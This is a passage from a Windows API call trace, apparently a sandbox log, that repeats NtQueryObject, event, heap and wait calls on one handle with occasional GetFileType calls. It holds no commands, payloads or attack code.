ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.735] ResetEvent (hEvent=0xdc) returned 1 [0093.735] SetEvent (hEvent=0xe0) returned 1 [0093.735] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.736] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.736] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.736] NtQueryObject (in: Handle=0x178, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.736] ResetEvent (hEvent=0xdc) returned 1 [0093.736] SetEvent (hEvent=0xe0) returned 1 [0093.736] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.736] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.737] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.737] NtQueryObject (in: Handle=0x178, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.737] ResetEvent (hEvent=0xdc) returned 1 [0093.737] SetEvent (hEvent=0xe0) returned 1 [0093.737] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.737] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.738] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.738] NtQueryObject (in: Handle=0x178, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.738] ResetEvent (hEvent=0xdc) returned 1 [0093.738] SetEvent (hEvent=0xe0) returned 1 [0093.738] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.738] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.739] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.739] NtQueryObject (in: Handle=0x178, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.739] ResetEvent (hEvent=0xdc) returned 1 [0093.739] SetEvent (hEvent=0xe0) returned 1 [0093.739] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.739] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.739] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.739] NtQueryObject (in: Handle=0x178, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.739] ResetEvent (hEvent=0xdc) returned 1 [0093.739] SetEvent (hEvent=0xe0) returned 1 [0093.740] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.740] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.740] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.740] NtQueryObject (in: Handle=0x178, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.740] ResetEvent (hEvent=0xdc) returned 1 [0093.740] SetEvent (hEvent=0xe0) returned 1 [0093.740] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.741] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.741] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.741] NtQueryObject (in: Handle=0x178, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.741] ResetEvent (hEvent=0xdc) returned 1 [0093.741] SetEvent (hEvent=0xe0) returned 1 [0093.741] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.742] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.742] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.742] NtQueryObject (in: Handle=0x178, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.742] ResetEvent (hEvent=0xdc) returned 1 [0093.742] SetEvent (hEvent=0xe0) returned 1 [0093.742] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.742] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.743] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.743] NtQueryObject (in: Handle=0x178, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.743] ResetEvent (hEvent=0xdc) returned 1 [0093.743] SetEvent (hEvent=0xe0) returned 1 [0093.743] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.743] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.744] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.744] NtQueryObject (in: Handle=0x178, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.744] ResetEvent (hEvent=0xdc) returned 1 [0093.744] SetEvent (hEvent=0xe0) returned 1 [0093.744] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.744] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.744] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.744] NtQueryObject (in: Handle=0x178, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.744] ResetEvent (hEvent=0xdc) returned 1 [0093.745] SetEvent (hEvent=0xe0) returned 1 [0093.745] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.745] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.745] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.745] NtQueryObject (in: Handle=0x178, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.745] ResetEvent (hEvent=0xdc) returned 1 [0093.746] SetEvent (hEvent=0xe0) returned 1 [0093.746] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.746] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.746] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.746] NtQueryObject (in: Handle=0x178, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.746] ResetEvent (hEvent=0xdc) returned 1 [0093.746] SetEvent (hEvent=0xe0) returned 1 [0093.746] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.747] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.747] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.747] NtQueryObject (in: Handle=0x178, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.747] ResetEvent (hEvent=0xdc) returned 1 [0093.747] SetEvent (hEvent=0xe0) returned 1 [0093.747] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.748] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.748] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.748] NtQueryObject (in: Handle=0x178, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.748] ResetEvent (hEvent=0xdc) returned 1 [0093.748] SetEvent (hEvent=0xe0) returned 1 [0093.748] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.748] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.749] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.749] NtQueryObject (in: Handle=0x178, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.749] ResetEvent (hEvent=0xdc) returned 1 [0093.749] SetEvent (hEvent=0xe0) returned 1 [0093.749] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.749] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.750] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.750] NtQueryObject (in: Handle=0x178, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.750] GetFileType (hFile=0x178) returned 0x3 [0093.750] ResetEvent (hEvent=0xdc) returned 1 [0093.750] SetEvent (hEvent=0xe0) returned 1 [0093.750] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.750] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.751] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.751] NtQueryObject (in: Handle=0x178, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.751] GetFileType (hFile=0x178) returned 0x3 [0093.751] ResetEvent (hEvent=0xdc) returned 1 [0093.751] SetEvent (hEvent=0xe0) returned 1 [0093.751] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.751] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.751] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.752] NtQueryObject (in: Handle=0x178, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.752] GetFileType (hFile=0x178) returned 0x3 [0093.752] ResetEvent (hEvent=0xdc) returned 1 [0093.752] SetEvent (hEvent=0xe0) returned 1 [0093.752] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.752] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.752] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.752] NtQueryObject (in: Handle=0x178, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.752] ResetEvent (hEvent=0xdc) returned 1 [0093.752] SetEvent (hEvent=0xe0) returned 1 [0093.753] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.753] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.753] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.753] NtQueryObject (in: Handle=0x178, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.753] ResetEvent (hEvent=0xdc) returned 1 [0093.753] SetEvent (hEvent=0xe0) returned 1 [0093.753] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.754] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.754] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.754] NtQueryObject (in: Handle=0x178, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.754] ResetEvent (hEvent=0xdc) returned 1 [0093.754] SetEvent (hEvent=0xe0) returned 1 [0093.754] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.754] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.755] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.755] NtQueryObject (in: Handle=0x178, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.755] ResetEvent (hEvent=0xdc) returned 1 [0093.755] SetEvent (hEvent=0xe0) returned 1 [0093.755] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.755] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.756] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.756] NtQueryObject (in: Handle=0x178, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.756] ResetEvent (hEvent=0xdc) returned 1 [0093.756] SetEvent (hEvent=0xe0) returned 1 [0093.756] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.756] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.757] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.757] NtQueryObject (in: Handle=0x178, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.757] ResetEvent (hEvent=0xdc) returned 1 [0093.757] SetEvent (hEvent=0xe0) returned 1 [0093.757] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.757] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.757] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.757] NtQueryObject (in: Handle=0x178, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.757] ResetEvent (hEvent=0xdc) returned 1 [0093.757] SetEvent (hEvent=0xe0) returned 1 [0093.758] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.758] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.758] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.758] NtQueryObject (in: Handle=0x178, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.758] ResetEvent (hEvent=0xdc) returned 1 [0093.758] SetEvent (hEvent=0xe0) returned 1 [0093.758] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.759] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.759] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.759] NtQueryObject (in: Handle=0x178, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.759] ResetEvent (hEvent=0xdc) returned 1 [0093.759] SetEvent (hEvent=0xe0) returned 1 [0093.759] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.759] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.760] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.760] NtQueryObject (in: Handle=0x178, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.760] ResetEvent (hEvent=0xdc) returned 1 [0093.760] SetEvent (hEvent=0xe0) returned 1 [0093.760] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.760] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.761] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.761] NtQueryObject (in: Handle=0x178, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.761] ResetEvent (hEvent=0xdc) returned 1 [0093.761] SetEvent (hEvent=0xe0) returned 1 [0093.761] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.762] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.762] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.762] NtQueryObject (in: Handle=0x178, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.762] GetFileType (hFile=0x178) returned 0x3 [0093.762] ResetEvent (hEvent=0xdc) returned 1 [0093.762] SetEvent (hEvent=0xe0) returned 1 [0093.762] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.762] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.763] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.763] NtQueryObject (in: Handle=0x178, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.763] GetFileType (hFile=0x178) returned 0x3 [0093.763] ResetEvent (hEvent=0xdc) returned 1 [0093.763] SetEvent (hEvent=0xe0) returned 1 [0093.763] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.763] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.764] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.764] NtQueryObject (in: Handle=0x178, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.764] GetFileType (hFile=0x178) returned 0x3 [0093.764] ResetEvent (hEvent=0xdc) returned 1 [0093.764] SetEvent (hEvent=0xe0) returned 1 [0093.764] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.764] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.765] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.765] NtQueryObject (in: Handle=0x178, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.765] ResetEvent (hEvent=0xdc) returned 1 [0093.765] SetEvent (hEvent=0xe0) returned 1 [0093.765] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.765] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.765] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.766] NtQueryObject (in: Handle=0x178, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.766] ResetEvent (hEvent=0xdc) returned 1 [0093.766] SetEvent (hEvent=0xe0) returned 1 [0093.766] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.766] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.766] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.766] NtQueryObject (in: Handle=0x178, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.766] ResetEvent (hEvent=0xdc) returned 1 [0093.766] SetEvent (hEvent=0xe0) returned 1 [0093.767] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.767] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.767] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.767] NtQueryObject (in: Handle=0x178, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.767] GetFileType (hFile=0x178) returned 0x3 [0093.767] ResetEvent (hEvent=0xdc) returned 1 [0093.767] SetEvent (hEvent=0xe0) returned 1 [0093.767] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.768] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.768] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.768] NtQueryObject (in: Handle=0x178, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.768] GetFileType (hFile=0x178) returned 0x3 [0093.768] ResetEvent (hEvent=0xdc) returned 1 [0093.768] SetEvent (hEvent=0xe0) returned 1 [0093.768] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.769] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.769] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.769] NtQueryObject (in: Handle=0x178, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.769] ResetEvent (hEvent=0xdc) returned 1 [0093.769] SetEvent (hEvent=0xe0) returned 1 [0093.769] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.769] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.770] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.770] NtQueryObject (in: Handle=0x178, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.770] ResetEvent (hEvent=0xdc) returned 1 [0093.770] SetEvent (hEvent=0xe0) returned 1 [0093.770] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.771] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.771] RtlFreeHeap (HeapHandle=0x940000, 